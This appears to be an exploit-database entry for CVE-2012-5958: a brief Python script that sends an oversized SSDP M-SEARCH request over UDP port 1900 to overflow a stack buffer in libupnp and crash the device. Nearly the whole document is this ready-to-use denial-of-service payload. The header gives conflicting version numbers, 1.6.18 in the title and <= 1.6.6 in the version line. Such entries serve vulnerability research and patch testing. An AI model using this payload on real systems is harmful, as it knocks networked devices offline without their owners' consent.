libupnp 1.6.18 – Stack-based buffer overflow (DoS)Denial Of Service Exploit

Date: 2020-11-27

Platform: Multiple

CVE: 2012-5958

# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Exploit Author: Patrik Lantz
# Vendor Homepage:
# Software Link:
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958

import socket

payload = "M-SEARCH * HTTP/1.1\r\nHOST:\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"

byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("", 1900))
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